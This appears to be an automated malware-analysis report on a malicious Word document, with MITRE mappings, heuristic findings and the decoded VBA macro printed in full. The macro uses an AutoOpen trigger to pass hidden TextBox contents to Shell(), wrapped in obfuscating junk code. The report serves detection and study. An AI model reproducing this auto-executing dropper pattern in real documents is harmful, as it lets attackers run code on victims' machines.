MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1203 Exploitation for Client Execution
The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers a function that uses the Shell() function to execute a command. This is a common technique for downloading and executing additional malware. The specific command executed is obfuscated, but the presence of the Shell() call and the auto-execution trigger strongly suggest a downloader or dropper functionality.
Heuristics 7
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
On Error Resume Next CUChP = Array(oMBXVFGd, YzQGjL, fIjJmzm, Interaction.Shell(CleanString(kznGRdiSBc.TextBox1), 52 - 52), TJlPlG) Select Case PLRkOdDFvLqkOzFPq -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox" Sub autoopen() XdMKiF -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 852 bytes |
SHA-256: cd5145597e554e881d067d4c6685a34b5f858d4c9aa0f11d4674fb2efc5c8cf2 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "kznGRdiSBc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
XdMKiF
End Sub
Attribute VB_Name = "lQomzkjAQsGj"
Function XdMKiF()
On Error Resume Next
CUChP = Array(oMBXVFGd, YzQGjL, fIjJmzm, Interaction.Shell(CleanString(kznGRdiSBc.TextBox1), 52 - 52), TJlPlG)
Select Case PLRkOdDFvLqkOzFPq
Case 160800626
PiJwDiwnNUXmcTDb = 214000898
IWCwhtQubnSkHMdNdhFNNBS = Oct(qlXYNQKYYVhBKTBQhJHIVd + CStr(LIPpWVTjHEMGvWsj + Log(70362852) - uLlfcCJfpfEuJUMYMQwb / Hex(264829309)))
End Select
End Function
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